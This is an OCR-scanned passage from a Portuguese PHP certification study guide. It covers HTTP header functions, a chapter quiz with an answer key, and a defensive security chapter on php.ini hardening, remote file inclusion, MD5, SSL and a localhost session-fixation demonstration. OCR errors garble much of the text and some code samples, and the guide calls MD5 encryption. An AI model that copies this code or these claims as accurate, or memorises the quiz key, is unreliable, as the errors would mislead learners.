o que interessa. Mas podemos manipular os headers (cabegalhos)
nas nossas requisicoes e respostas HI' TP nativamente.

Apesar de ser uma tarefa bem trabalhosa (pois cada espago
conta, lembre-se de que estamos trabalhando com HTTP e, no final
das contas, tudo se tornara texto), o PHP torna a manipulagio de
headers muito simples através da fun¢do header .

Para o nosso primeiro exemplo, vamos retornar ao nosso cliente
um conteiido em JSON. Para isso, usaremos o cabecalho Content-
Type , que informa o tipo de conteido que estd sendo
enviado/recebido.

header('Content-Type: application/json');

Para uma lista completa com os cabegalhos utilizados, acesse
https://developer.mozilla.org/en-
US/docs/Web/HTTP/Headers.

Podemos também encadear diversos cabecalhos a serem
enviados chamando a fun¢ao header diversas vezes. Veja que,
além de utilizarmos Content-Type , vamos usar 0 HTTP/1.0 200
OK para indicar que a requisi¢do foi aceita e a resposta foi recebida

com sucesso e sem nenhum erro.
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header ('HTTP/1.0 200 0OK');
header('Content-Type: application/json');

Ao acessarmos 0 nosso script através de um servidor web
(estamos utilizando o servidor embutido no PHP), podemos
inspecionar as respostas que o servidor nos envia.

O servidor embutido do PHP pode ser executado e acessado no
seu terminal, com o comando php -S localhost:8181
Vocé pode encontrar uma parte dedicada especialmente para o
servidor  embutido que o PHP  possui em
http://php.net/manual/pt_BR/features.commandline.webserve

r.php.

¥ General
Request URL: http://localhost:8181/headers.php
Request Method: GET
Status Code: @ 200 0K
Remokte Address: 127.0.8.1:8181

Figura 10.6: Resposta do servidor web de acordo com o cabegalho que utilizamos

Agora que ja sabemos como podemos manipular, podemos
comegar a enviar diferentes codigos para ver como o navegador se
comporta. Vamos mudar para o status 500 , que indica que
aconteceu algum erro interno no servidor ao processar a requisicao
enviada.
header ('HTTP/1.0 500 Record not found');
header('Content-Type: application/json');

Mudamos agora o status para 500 , e alteramos também a
descricdo para Record not found (Registro ndo encontrado).
Agora, ao inspecionarmos a resposta, vemos um sinal vermelho,
indicando que ocorreu algum erro internamente no servidor.
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Na realidade, ndo ocorreu nenhum erro, nds apenas simulamos
esse erro para melhor entender como manipular os cabegalhos
HTTP.

¥ General
Request URL: http://localhost:8181/headers. php
Request Method: GET
Status Code: @ 500 Record not found
Remote Address: 127.0.68.1:8151

Figura 10.7: Erro 500 exibido ao inspecionar a resposta enviada pelo servidor

Para aplicagoes executadas pela linha de comando (CLI),
fungdes que manipulam cabegalhos nao tem nenhum efeito,
sendo ignoradas durante a execugdo do script. Assim como as
sessoes, os cabegalhos sdo um dos itens disponiveis apenas para
aplicagdes executadas através de um servidor web, e nao em

uma linha de comando.

Vimos nessa secao o uso extensivo da funcdo header . Porém,
essa fungdo possui mais dois tipo de argumentos que podemos
utilizar que ndo exploramos até agora. O primeiro dessa lista que
vamos ver é o argumento que nos permite substituir o cabegalho
enviado. Ele, por padrao, ¢ definido como verdadeiro. Sendo assim,
o cabegalho que enviamos sempre substituira o anterior, e nao nos
permite definir multiplos valores para um mesmo cabegalho.

Em nosso exemplo, mandaremos um cabegalho com o nome de

Token , simulando a autentica¢do de um usudrio através desse

token, e passaremos o valor false para que o PHP nos permita
definir multiplos valores para um mesmo cabegalho.

header ('Token: meu_token');
header('Token: outro_valor', false);
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A primeira coisa que vemos é que a primeira chamada a func¢éo
header nao possui o valor false . Ou seja, nessa primeira
chamada estamos garantindo que, se esse cabegalho existir, ele sera
sobrescrito. Logo em seguida, realizamos uma nova chamada a
fungdo header , mas, dessa vez, passando o valor false como
argumento. Com isso, conseguimos enviar multiplos valores a um
unico cabegalho.

Veja o resultado que obtemos ao inspecionar os dados de

resposta da requisi¢ao que fizemos ao nosso servidor:

Figura 10.8: Cabegalho Token com multiplos valores

Finalmente, temos o ultimo argumento passado para a fun¢ao

header . Ele nos permite forcar um cdédigo de resposta HTTP.

Vamos continuar utilizando o nosso exemplo anterior com o
cabecalho Token .

Veja que, na figura anterior, recebemos o cédigo 200 , que
informa sucesso na requisi¢do realizada ao servidor. Porém, vamos
supor que o token informado nao ¢é valido e precisamos informar o
status 401 (Unauthorized), que nos informa que o acesso nio é
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permitido.
header('Invalid-Token: meu_token', true, 401);

Dessa vez, vamos enviar um novo cabegalho com o nome de
Invalid-Token para informar na resposta que o token enviado

nao é valido. Veja:

¥ General
Request URL: htitp://localhost:8181/headers. php
Request Method: GET
Status Code: @ 401 Unauthorized
Remote Address: 127.0.8.1:8181

¥ Response Headers view source
Connection: close
Content-Encoding: gzip
Content-type: text/html
Hosk: localhost:8181
Invalid-Token: meu token
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-lubuntu4. 14

Figura 10.9: Resposta do servidor do usuario nao autorizado

Aconselhamos que vocé acesse o manual oficial do PHP para se
aprofundar no assunto, em
http://php.net/manual/pt_BR/function.header.php.

Listando cabecalhos

Até agora, usamos o navegador para ver quais foram os
cabecalhos enviados. Entretanto, temos uma outra maneira de
verificarmos se algum cabegalho foi enviado: através da funcao
header_list . Essa lista é um array com todos os cabegalhos que

foram enviados para o servidor web.
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print_r(headers_list());

Se executarmos esse script, teriamos apenas a informac¢ao do
cabecalho X-Powered-By , que nos da algumas informagdes sobre o
sistema operacional em que o servidor web esta sendo executado e
qual a linguagem de programagao usada.

Array

(
[0] => X-Powered-By: PHP/5.5.9-1ubuntu4.14

)
Vamos entdo adicionar mais um cabecalho para que seja
renderizado conteido em XML através da funcao header :

header('Content-Type: text/xml');

print_r(headers_sent());

Agora, temos dois elementos no nosso array: um com as
informacoes sobre o ambiente onde estamos executando o PHP, e
outro sobre qual o tipo de conteudo que estamos exibindo.

Array

(
[0] => X-Powered-By: PHP/5.5.9-1ubuntu4.14
[1] => Content-Type: text/xml

Verificando os cabegalhos enviados

O PHP nos fornece uma maneira de verificar se algum tipo de
cabegalho ja foi enviado através da fungdo headers_sent .

if ('headers_sent()) {
header('Location: www.casadocodigo.com');

3

Nesse cddigo, apenas verificamos se algum tipo de cabegalho ja
foi enviado para o nosso servidor web. Caso ndo, o que fazemos ¢é
efetuar um redirecionamento para 0 site

www . casadocodigo.com.br por meio do cabecalho Location .
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Podemos também verificar se os cabecalhos ja foram enviados
para remové-los através da fungdo header_remove :

if (headers_sent()) {
header_remove();

}

A fun¢do header_remove pode ou ndo receber um unico
argumento, especificando qual cabegalho queremos remover. No
codigo anterior, como nao especificamos nenhum cabegalho para
ser removido, o PHP simplesmente removera todos.

Mas e se ndo quisermos que todos sejam removidos?
Simplesmente especificamos qual header queremos remover.
Primeiramente, verificamos se algum cabegalho foi enviado e, logo
em seguida, removemos apenas o cabegalho Content-Type .

if (headers_sent()) {
header_remove('Content-Type');

}

O manual oficial de estudos para a certificagdo da Zend possui
um item sobre autentica¢ao basica com o protocolo HTTP. De
acordo com o manual, esse é um possivel tépico que cai na
prova de certificag¢do. Entretanto, nos simulados existentes que
encontramos, esse ¢ um item que raramente aparece. Mas caso
deseje se aprofundar, vocé pode obter maiores informagdes em
http://php.net/manual/pt_BR/features.http-auth.php.

10.6 TESTE SEU CONHECIMENTO

1) Qual o valor padrao de um cookie de sessao do PHP?
a) Depende do servidor web

b) 10 minutos
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c)

d)

a)
b)
c)

d)

20 minutos

Até o navegador ser fechado

2) Qual método HTTP ¢ utilizado para upload de arquivos?
CONNECT

GET

OPTIONS

POST

3) Como vocé pode mostrar o valor do input no formulario

seguinte?

<form method="post">

<input type="text" name="my account" />
<button type="submit" name="btn_submit">Submit Form</button>

</form>

a)
b)
c)

d)

a)
b)
c)

d)

echo $_REQUEST[ 'my_account'];

echo $_GET['my_account'];

echo $_POST['my account'];

echo $_GLOBALS['my account'];

4) Qual faixa de codigo HTTP é utilizada para erros?
1XX

3XX

5XX

4XX

5) Qual fung¢ao ndo pode enviar cookies em uma aplicacao

PHP?

a)

b)

setrawcookie

setcookie
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c) $_COOKE

d) header

6) Qual a melhor maneira de escrever o valor
variavel de sessio chamada age ?

a) $age = 25; session_regiser('age');
b) $_SESSION['age'] = 25;
c) session_register('age', 25);

d) $HTTP_SESSION_VARS['age'] = 25;

25 em uma

7) Escreva a saida do codigo a seguir apds a pagina ser

carregada trés vezes.
session_start();
if ('array_key_exists('counter', $_SESSION)) {

$_SESSION['counter'] = 0;
}

else {
$_SESSION[ 'counter']++;
session_regenerate_id();

echo $_SESSION['counter'];

8) Como inicializar o wuso de sessdes
automaticamente?

a) Sessdes sdo sempre inicializadas automaticamente.

b) Invocando a fungdo “start_session’.

c) Definindo the “session.auto_start® para "1° no “php.ini".

d) Invocando a fungdo “session_register’.

em

PHP

9) Qual fungao utilizamos para verificar se algum cabecalho

HTTP ja foi enviado?
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10) Qual atributo devemos definir no formulario para enviar
arquivos ao servidor?

a) enctype="multipart/form-data"
b) type="file"
c) name="upload"

d) N&o é possivel enviar arquivos em formularios

107 MUNDO WEB: SERA QUE E OUTRO
MUNDO?

O PHP ¢é uma linguagem feita para a web. Entdo, ¢ importante
vocé conhecer as caracteristicas que esse mundo possui e também
quais fungbes ele tem para ajudar vocé a manipular essas
funcionalidades.

Neste capitulo, abordamos os principais topicos que sao
exigidos pela prova (tomando como base os simulados). E também
fomos além, apresentando conceitos sobre a web de como coletar
dados dos usuarios através dos formularios, envio de arquivos e a
diferenca entre aplicagdes web e aplicagdes CLI (Command Line
Interface). Essas sdo caracteristicas minimas que aplicagdes web
possuem e que vocé deve dominar para fazer a prova confortavel.

Mas o PHP é um mar cheio de funcionalidades que podemos
utilizar. Além do que foi abordado aqui, existe uma segdo da
documentagdo com inumeras fungdes que sdo usadas no ambiente
web: gethostname , http_response_code e

header_register_callback sao algumas que podemos destacar.
Para uma lista completa de fungdes, acesse a documentagdo oficial
em http://php.net/manual/pt_BR/book.network.php.

10.8 RESPOSTAS
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Verifique agora se vocé foi bem nas questdes. Caso nao, nao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!

QUESTOES

Questao 1 - Resposta correta: d

Questao 2 - Resposta correta: d

Questao 3 - Resposta correta: ¢

Questao 4 - Resposta correta: ¢

Questao 5 - Resposta correta: ¢

Questao 6 — Resposta correta: b

Questao 7 - Resposta correta: 2

Questao 8 - Resposta correta: ¢

Questao 9 - Resposta correta: headers_sent

Questdo 10 - Resposta correta: a
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CapiTuLO 11

SEGURANCA

O PHP é uma linguagem poderosa e sua curva de aprendizagem
¢ mais curta comparada a algumas linguagens de programagio. Ao
passar do tempo, podemos ndo dar a devida importincia a
seguranga, e esse pode se tornar o aspecto mais ignorado de nossas
aplicacdes web. Isso ndo deveria ocorrer, pois o que muitos
desenvolvedores esquecem ¢é que podemos com PHP acessar
arquivos, executar comandos e abrir conexdes de rede no servidor
através de uma simples URL ou de um campo texto de um
formulario HTML.

Um outro fator que ¢ muito presente na falta de atengdo com a
seguranga é o famoso prazo. Nos tempos de hoje, projetos de
desenvolvimento possuem prazos definidos, e cada segundo
atrasado significa prejuizo. E seguranca é algo que necessita tempo
de andlise e pessoas qualificadas para agir. Com esse cenario,
frequentemente a seguranga é o ultimo item da lista dos projetos,
infelizmente.

Neste capitulo, vamos focar totalmente na seguranga de sua
aplicagdo PHP como um todo, e até um pouco mais do que a
certificacdo de fato exige. Isso porque, para nds, seguranga ¢ algo
sério. Passaremos por diversas dreas de conhecimentos ja abordadas
neste livro, como sessdes, banco de dados e configuragdes do
arquivo php.ini . Além disso, diversas fontes de informacao serao
deixadas para que vocé se aprofunde nos itens que desejar.
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11.1 PREPARANDO O AMBIENTE

A partir de agora, focaremos mais sobre como deixar nosso
arquivo php.ini configurado corretamente para nao permitir
alguns desses ataques. Nossas configuracdes incialmente vao se
refletir em alterar o arquivo php.ini . Nao abordarei todas as
distribuicdes de sistemas operacionais, mas sé os principais, que sao
Windows, Linux e Mac.

Linux

Em algumas das principais distribui¢gées Linux que utilizam o
servidor web Apache, por exemplo, as alteragdes deverdo ser
realizadas no caminho /etc/php5/apache2/ , no arquivo
php.ini .

Microsoft (utilizando o Wamp)

Em sistemas operacionais Microsoft Windows, geralmente é
instalado o Software WAMP (http://www.wampserver.com/en/).
Com ele, ja vem junto: Apache2, PHP e MySQL.

Isso torna as configuragdes mais faceis de serem utilizadas no
Windows. Assumindo que o WAMP foi instalado no diretério
C:/wamp , vamos edita-lo no caminho:
C:/wamp/bin/apache/Apache(versdo do apache)/bin , onde
também existira o arquivo php.ini .

Mac

Agora, para quem utiliza o sistema operacional do Mac, o
Apache geralmente ja vird instalado por padrdao. Por isso,
precisamos inicialmente copiar o arquivo e criar nosso php.ini .

O arquivo cuja cdpia precisamos realizar estd em nosso caminho
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/etc , com o seguinte nome de arquivo: php.ini.default .

Em seu terminal, realize o seguinte comando para copiar o
arquivo do seu caminho padrao para o seu local correto: sudo cp
/etc/php.ini.default /etc/php.ini.

Agora que criamos uma copia do arquivo original do php.ini,
podemos editar as configuragdes que desejarmos. Dessa forma,
nossas edi¢des serdo realizadas em /etc/php.ini .

Vale lembrar de que o arquivo php.ini ¢ lido quando o PHP
inicia. Entdo, caso vocé ndo esteja utilizando o PHP em modo CGI
ou CLI, vocé tera de iniciar o seu servidor web para que as
alteragdes sejam refletidas no momento da execugdo do PHP. Ou
seja, a cada mudanga realizada no php.ini , vocé devera reiniciar o

servidor web.

11.2 PHP.INT EM DETALHES

Existem algumas configuragdes que devemos nos atentar. O
PHP possui alguns recursos dindmicos e, com isso, eles podem se
tornar verdadeiras dores de cabega e trazer consigo alguns
potenciais riscos de seguranca. Alguns invasores tendem a buscar
falhas em aplicagdes usando alguns recursos como scripts mal-
intencionados, para serem executados nos nossos servidores web.

Existem casos em que é possivel até gravar arquivos em nosso
servidor, e obter o controle para seus proprios fins, ou até para uma
brincadeira, como a de trocar a pagina inicial por uma imagem.

Veja a seguir algumas configuragdes que podemos fazer para
tentar mitigar futuros problemas. Vale ressaltar que acreditar que
um sistema ¢ completamente seguro ¢ virtualmente impossivel de se
conseguir.
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allow_url_fopen e allow_url_include

Essas duas configuragdes sdo importantes que estejam
desativadas, pois quando estao ativas, permitem que os arquivos que
nao estdo no mesmo servidor da sua aplicagdo web possam incluir
arquivos. Ou seja, vocé conseguiria incluir arquivos de um servidor
diferente.

Edite no seu arquivo php.ini a seguinte instrucao:

allow_url_fopen = Off
allow_url_include = Off

Caso vocé nido encontre essas linhas mencionadas, é bem
provavel que outra pessoa tenha removido para trabalhar com
esse tipo de inclusao. A ndo existéncia dessas opgdes nao gera
problema com seu PHP, mas como o assunto é seguranga, cada
detalhe conta, pois se nao configurado abre a porta para

inclusdo de arquivos maliciosos em seu sistema.

Por exemplo, um tipo de ataque que poderia ocorrer seria o de
inclusdo de arquivos remotos, mais conhecido como RFI (Remote
File Inclusion). Neste tipo de ataque, devemos nos preocupar com o
qué? O que ele podera fazer?

1. O invasor poderd executar codigos no seu servidor web.
2. Executar ataques aos clientes de sua aplicagao.
3. Denial of Service (DoS), ou até mesmo roubar dados.
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Em
https://www.owasp.org/index.php/Testing_for_Remote_File I
nclusion, vocé encontrarda uma explicacaio melhor sobre o
assunto de inclusdo de arquivo remotos, nao limitando seus
conhecimentos apenas a linguagem PHP. E importante que
vocé leia, pois, ao entender esse tipo de ataque, vocé conseguira
definir melhor sua estratégia de seguranca.

max_execution_time e max_input_time

As configuragdes de tempo maximo de execu¢ido determinam,
em segundos, se os scripts estio permitidos a executar antes que
sejam terminados.

E importante verificar se as configuragdes estdo no padrio. Caso
nao estejam, configure-as dessa forma:
max_execution_time = 30
max_input_time = 60

A opgao max_execution_time determina o tempo maximo,
em segundos, que o script estd permitido a executar antes de ser
terminado. O padrdo é que esteja configurado para 30 segundos

para scripts que ndo rodem em linha de comando. Para scripts que
rodam a partir da linha de comando, o padrao é 0.

O max_input_time determina o tempo maximo, em segundos,
que um script esta permitido a interpretar dados de entrada vindos
deum GET ou POST .

11.3 UTILIZACAO DE MEMORIA

As configuragdes de limite de memoria determinam o maximo
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de meméria que seu script podera alocar. E importante que sejam
definidas porque, caso o invasor tente consumir toda a memoria do
servidor, ele ndo conseguird, o que gerard ¢ um erro informando o
limite maximo que podera ser utilizado.

Um exemplo de configuragao de limites de memoria sao as que
seguem. Ndo se preocupe em entender todas as opgdes agora, vamos
detalhar uma por uma logo em seguida.

memory_limit 16M
upload_max_filesize = 2M
post_max_size 8M
max_input_nesting_levels 64

memory_limit

O limite de memoria é usado para definir o maximo, em bytes,
que um script sera permitido alocar. Com isso, podemos prevenir
que algum script utilizado por um invasor consiga consumir toda a

memoria disponivel em nosso servidor.

upload_max_filesize

Essa configuragao previne que um invasor ndo consuma o total

de memdria disponivel para carregamento de arquivos.

post_max_size

Essa configuragdo determina o quanto podemos enviar de dados
postados. Foi escolhido deixa-la apds a explicagdo de arquivos,
porque ela afeta dados enviados via carregamento de arquivos. Ou
seja, caso o valor de upload_max_filesize seja menor que a
configuragdo de post_max_size , o envio nao sera possivel, pois
essa configurac¢do precisa ser maior do que a de tamanho maximo
de arquivos.

Vocé pode realizar um teste postando um dado maior e verificar
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que post_max_size vai influenciar esse dado como, por exemplo,
as varidveis superglobals $_POST e $_FILES ficardo vazias.

max_input_nesting level

Em capitulos anteriores, ja foi explicado sobre o basico de
algumas matrizes superglobais. Nosso foco agora serd voltado as
globais $_POST e $_GET .

Essa configuracdo determina a profundidade maxima a que as
matrizes $_POST e $_GET podem chegar. Com essa diretiva, vocé
reduz a possibilidade de ataques de negacdo de servigo, que
aproveitam da colisdo de hash.

Mais  sobre o assunto pode ser lido em
https://www.owasp.org/index.php/Denial_of_Service.

11.4 CONFIGURACOES DE LOG DE ERRO

Configuragdes de log de erros e avisos funcionam para que seja
determinado o nivel que desejamos exibir ou logar nossos erros ou
avisos em nossos sistemas. Essa configuracdo muitas vezes ¢é
ignorada. Isso acaba abrindo brechas para invasores que procurarao
por aplicagdes que facilitam a exibi¢cdo de erro e\ou avisos e, com
isso, consigam descobrir brechas para que seja possivel, a partir de
uma analise do erro, atacar nossos servidores de aplicacao.

E importante que os niveis de configuragdes se baseiem em qual
ambiente  estaremos  desenvolvendo. Por exemplo, as
recomendagdes da Zend no seu guia de estudos para a certificagdo
PHP mostram um exemplo no qual nossos ambientes de
desenvolvimento poderiam estar configurados. Novamente, ndo se
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preocupe em entender todas as opgoes de uma vez, elas vio ser
explicadas uma a uma logo em seguida.

display_errors = off
log_errors = true

error_reporting = E_ALL ( Para ambientes de desenvolvimento )

error_reporting = E_ALL & ~E_DEPRECTED & ~E_STRICT ( Para ambiente
s de produgéo )

display_errors

Essa configuragdo determina se os erros gerados em nossa
aplicacao deverdo ser impressos em tela para nosso usudrio, ou se

devem ser escondidos de nosso usudrio.

log errors

Essa configuragdo determina se as mensagens de erro deverao
ser gravadas no arquivo de log (registros) do servidor. Vale lembrar
que pode variar onde esse arquivo sera salvo, e o que determina isso
para log_errors ¢é o sistema operacional que vocé estda usando.
Por exemplo, se vocé estiver utilizando uma distribuigdo Linux com
Apache2, provavelmente seu arquivo sera salvo no caminho

/var/log/apache2 . Isso porque esse é o caminho padrao onde
encontrar os logs, porém ¢é possivel mudar completamente o
caminho com algumas configuragdes.

error_reporting

Essa configura¢ao determina o nivel que desejamos que nosso
relatdrio de erros exiba. Para determinar o nivel que queremos de
relatorio em error_reporting , setamos os valores com nimeros
inteiros, que representam um campo de bits ou constantes
nomeadas, como por exemplo, E_ALL , E_DEPRECTED e

E_STRICT .
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Nao é recomendado que se utilize nimero para definir os niveis
de erro por dois simples motivos. O primeiro ¢ a falta de clareza ao
utilizarmos numeros. Digamos que vamos usar o nivel E_ALL , e
este possui o nimero 1234553 . Qual seria mais facil de entender, o
numero ou a constante? Obviamente, a constante ¢ muito mais facil
de se lembrar.

E a segunda é pela compatibilidade oferecida pelo PHP.
Internamente, as constantes usadas no error_reporting
representam numero. E caso algum desenvolvedor interno da
linguagem mude esse nimero, se utilizarmos a constante, nada sera
afetado em nosso cédigo. Porém, se usarmos a notagao em numero

1234553 , teremos de identificar cada lugar que utilizamos e trocar
pelo novo valor.

E importante que vocé saiba que, no PHP 4 e PHP 5, o valor
padrdo de error_reporting é E_ALL & ~ E_NOTICE . Caso
os valores padrdes estejam setados nesses niveis, ndo serdo
exibidos erros de nivel do tipo E_NOTICE .

Inicialmente, muitos desenvolvedores ignoram esse detalhe,
mas, ao decorrer do desenvolvimento de sua aplicagdo, isso
pode tornar-se relevante.

Vocé podera ler mais sobre os tipos e explicagdes das
constantes na documentacao oficial, em
http://php.net/manual/pt_BR/errorfunc.constants.php.

Configuracao: um mundo a ser explorado
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Se nods quiséssemos falar sobre o assunto de configuragdes em
PHP, precisariamos dedicar um capitulo inteiro apenas para isso.
Entretanto, como nosso foco é a certificagdo, abordamos alguns
temas relevantes para esse foco. Mas caso vocé fique curioso em
estudar um pouco mais sobre esse assunto, deixamos com vocé duas
referéncias que podem ajudar a entender um pouco mais sobre

quais configuragdes podem ser ajustadas em nosso php.ini .

O primeiro trata-se somente sobre configuragcdes de erro no
PHP, e vocé pode conferi-lo em
http://php.net/manual/pt_BR/errorfunc.configuration.php. Ja o
segundo nos ajuda a compreender todas as principais opgoes
disponiveis do php.ini . Acesse-o em
http://php.net/manual/pt_BR/ini.core.php.

11.5 CRIPTOGRAFIA DE DADOS

Primeiramente, devemos aprender sobre o que ¢ criptografia de
dados, para que seja possivel entrarmos no assunto de SSL. Também
precisamos responder por que devemos nos preocupar com esse

assunto em nossas aplicagdes.

Quando falamos sobre criptografar, é o mesmo que dizer que
vamos esconder ou embaralhar os dados da sua forma original para
um novo padrio, e que apenas o seu destinatario pode reconhecer e
ler esses dados.

O ganho que teremos com a criptografia ¢ que protegemos
nossa informagao de um invasor. Ou seja, agora, para o invasor
decodificar esses dados, ele precisara conhecer o padrio de
criptogratia que foi usado (que, na teoria, apenas o nosso
destinatario possui).

Um exemplo muito utilizado de criptografia, e que talvez vocé ja
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tenha lido, é o famoso MD5. Para criptografar uma informagdo com
MD5 em PHP, usamos a fungdo md5 da seguinte forma:

$texto = 'Certificagdo PHP';
$md5 = md5($texto);

if ($md5 == md5($texto)) {
print 'Os textos sdo os mesmos';

X
Ao executarmos esse script, temos o seguinte resultado:

Os textos sdo os mesmos

Repare que ndo conseguimos descriptografar o hash gerado pelo
MDS5. O que conseguimos fazer é verificar se o hash anteriormente
gerado bate com o novo gerado.

Mas, como vocé pode perceber, se o invasor conhecer sua forma
de criptografia (que no nosso caso, ¢ MD5), é bem possivel que
também possa decodificar seus dados, utilizando uma ferramenta
para decifrar a sua senha.

Para isso, existem mais técnicas, porém dificilmente
atenderemos todas as formas "criativas" que um invasor pode
utilizar. Mas sempre serd bem-vindo o maximo que vocé conseguir
atrapalhar sua criatividade.
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Caso queira ler mais sobre MD5, vamos deixar aqui dois links.
O primeiro é especificamente sobre a funcdo MD5 do PHP,
que vocé pode conferir em
http://php.net/manual/pt_BR/function.md5.php.

Ja o segundo aborda mais a parte de criptografia, independente
da tecnologia, e vocé pode acessar em
https://www.owasp.org/index.php/Cryptographic_Storage_Ch
eat_Sheet#Providing_Cryptographic_Functionality.

No decorrer do capitulo, abordaremos outros tipos de
criptografia além do MD5.

SSL

Como explicado anteriormente, a criptografia nada mais é do
que transformar dados. Existem certos dados que sao trafegados do
servidor ao cliente, como os dados de sessdes de usuario. E
justamente por existirem esses tipos de dados nasce a necessidade de
que eles sejam criptografados, e que nossa informagdo seja
transmitida do cliente ao servidor de uma forma mais segura.

Neste contexto explicado, onde apenas a aplicagdo e o cliente
deve conseguir enviar e interpretar os dados trafegados de nossa
aplicagdao? Imagine que, para cada tipo de dado que queira proteger,
precisassemos utilizar, por exemplo, uma fungdo. Isso seria um
tanto tedioso, ndo é mesmo?

Pensando nesse problema, foi criado o SSL (Secure Socket
Layer). Ele cria um canal criptogratado entre o servidor web e o
navegador, garantindo que todos os dados transmitidos sejam
sigilosos e seguros entre a sua aplicagdo e o cliente. Dessa forma,
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obtemos a criptografia em todos os dados trafegados, ndo havendo a
necessidade de criarmos uma fungdo ou recriptografa-los.

Veja a figura a seguir que ilustra o trafego de dados, sem
nenhum tunel seguro:

Figura 11.1: Cliente enviando dados para o servidor sem SSL

Perceba a diferenga entre usar e ndo usar SSL pela figura
seguinte, onde o cliente envia seus dados através de um tunel
criptografado:

Figura 11.2: Cliente enviando dados para o servidor com SSL
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Para a certifica¢do, devemos somente saber o que é SSL e como
ele é utilizado. Ou seja, basicamente o que mostramos nessa
secao sobre SSL. Mas caso vocé seja um curioso e queira se
aprofundar mais, dé uma olhada na extensao OpenSSL, em
http://php.net/manual/pt_BR/book.openssl.php. Essa ¢ a
extensdo oficial que o PHP utiliza para fornecer funcoes que
manipulam SSL.

11.6 SESSOES E SEGURANCA

Além do que ja foi mencionado no capitulo PHP e banco de
dados com PDO, é importante tomarmos os devidos cuidados com
as nossas sessdes, porque por mais que o PHP trabalhe no lado
servidor nossa sessao vai armazenar um cookie do lado do usuario
e\lou propagara via URL. E como existe essa troca de dados,
devemos tomar certos cuidados, pois aprenderemos mais para a
frente que isso pode ser uma porta aberta para invasio aos nossos
sistemas. Mesmo um simples cookie pode se tornar uma verdadeira
dor de cabega.

Fixacao de sessao

Fixa¢do de sessao nada mais é do que alguém conseguir usar o
ID tnico da sessio de um cliente, e utilizd-lo em um outro
navegador.

Imagine que o usuario do seu sistema realize, por exemplo, um
login e que o atacante, através de alguma técnica de invasao, consiga
roubar a sessao do usudrio que acaba de logar em seu sistema. A
partir disso, ele consegue utilizar os dados do seu usudrio.
Dependendo da aplicagdo que o atacante tenha acesso, ele podera
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até editar os dados, cadastrar novos dados e, pior ainda, excluir os
registros do usudrio.

Vamos, entdo, aos dois tipos de abordagem para roubar a sessao
e fixa-la. A primeira que podemos citar é a fixacdo por cookie, na
qual o atacante usa o cookie gerado pelo PHP, edita-o e tenta
adicionar o mesmo ID de sessdo em um cookie de outro navegador

Veja na nossa figura a seguir que o PHP nos gerou o cookie com
o id de sessdo m35qctr6s52g883hitmtpgre26 :

<« % ) @& [localhost:8181

& O Elements Console Sources Network Timeline Profiles Resources Security Audits NetBeans Al
» ] Frames Name 4| Value

£1websqL PHPSESSID m35qctres52g883hitmtpgre26)

{ {indexedDB _ga GA1.1.552348740.1439395024

» [ Local Storage
» [ Session Storage
v [ Cookies

£2 localhost

Figura 11.3: Visualizando o cookie gerado pelo PHP no Google Chrome

Com esse ID em maos, podemos acessar a mesma pagina,
porém em outro navegador. E apds isso, tentamos injetar esse ID de
sessdo no cookie que o PHP gerou. Veja nossa proxima figura que
estamos editando o cookie gerado pelo PHP, para que ele possua o
mesmo valor do ID gerado no navegador do Google Chrome.
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Edit Cookie X

Name: [ PHPSESSID l

Host: [ localhost l

Path: |/ |

Expires: | 02/16f 2u1ﬁ'|iF:'|i“v'i 10:32:45PM'|E| 3 session

Value: htcgcmpgnghjv2gésm4u2bh125

[] URL encode value
[ | Secure Cookie [ | HTTP Only

. Cancel I [ OK ]

Figura 11.4: Injetando o ID de sessdo criado no Google Chrome no Firefox

Apos a alteragao do valor do cookie no Firefox, temos o seguinte
resultado. Repare que agora os cookies de ambos os navegadores

possu€ém 0 mesmo valor.

# O € » )= Console HTML CSS Script DOM Net | Cookies v

i# | Cookies - Filter - Default (Accept cookies) -

| Name 4 Value
PHPSESSID m35qctres52q883hitmtpgre26
_ga GA1.1.1933893654.1439328726
_gat 1

Figura 11.5: Injetando o ID de sessdo criado no Google Chrome no Firefox

Se o ataque for bem-sucedido, o atacante acessara todos os
dados existentes na sessao criada no Google Chrome no Firefox.
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Isso torna-se mais grave em sistemas que requerem autenticagao,
pois o atacante consegue burlar qualquer tipo de autenticagdo, ja
que o que ele precisa é somente o ID da sessao.

Além do método mostrado através de cookies, possuimos
também outro tipo de manipulagdo de ID de sessao a partir da URL,
onde obtemos o mesmo resultado, porém nao precisamos editar
nenhum cookie. Basta passar o ID da sessdo através da variavel
PHPSESSID , como mostra a figura a seguir:

- O localhost

fdes  Resources 5

» Bl Session Stevage

Figura 11.6: Injetando o ID de sessdo criado no Google Chrome no Firefox

Mais uma vez, se o ataque for bem-sucedido, o atacante tem
acesso a todos os dados existentes na sessio do PHP.

Se vocé desejar se aprofundar mais sobre fixa¢ao de sessio,
acesse o link fornecido pela OWASP (Open Web Application
Security Project):
https://www.owasp.org/index.php/Session_fixation. La vocé
pode também ficar por dentro de todos os perigos envolvendo
seguranca em aplicagdes web.

Agora que ja sabemos os principais riscos que temos ao
manipular sessdes, vamos partir para uma série de configuracdes
que o PHP nos fornece para evitar esses ataques. Passaremos de
fungoes do PHP até a opgdes de configuragdo no php.ini .

session_regenerate_id
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Como foi explicado, o que o invasor tenta ¢ fixar a sessdo através
de um link passado via URL, ou alterar o cookie enviado pelo
servidor para a maquina do usudrio. Porém, o PHP nos fornece uma
maneira muito simples e eficiente de contornar esse problema pela
funcdo session_regenerate_id , prevenindo assim a fixacao de

$essao.

Veja a seguir um exemplo de como utilizar a fungio
session_regenerate_id para que, a cada requisi¢ao enviada ao

servidor, um novo ID seja atribuido a sessdo:
session_start();
session_regenerate_id();

Apoés session_generate_id ser executada, o id de sessdo
sera regerado e os dados de sessdao do seu usudrio continuardo os
mesmos, apenas o ID de identificacdo da sessdo vai mudar.

11.7 TEMPO PARA EXPIRAR A SESSAO

Esse é mais um dos assuntos que muitas vezes acabamos nao
dando uma devida atencdo, que é o tempo de sessdo. A limitagdo
coibe em partes a agdo de um invasor. Caso ele roube a sessido do
usudario, com um limite bem definido para cada area do seu sistema,
ele nao tera muito tempo para usar a sessao.

Porém, cuidados devem ser tomados ao alterarmos o tempo de
sessao do PHP. Por exemplo, deixar sessdes mais longas do que o
padrao do PHP para o usudrio do seu site ou sistema ¢é refletido em
usabilidade, porém, com esse tempo maior do que deveria, vocé
passa a deixar os dados de sessio do seu usudrio por mais tempo
expostos a utilizacao de um invasor.

Existem maneiras de coibirmos o tempo de sessdo, e uma delas é

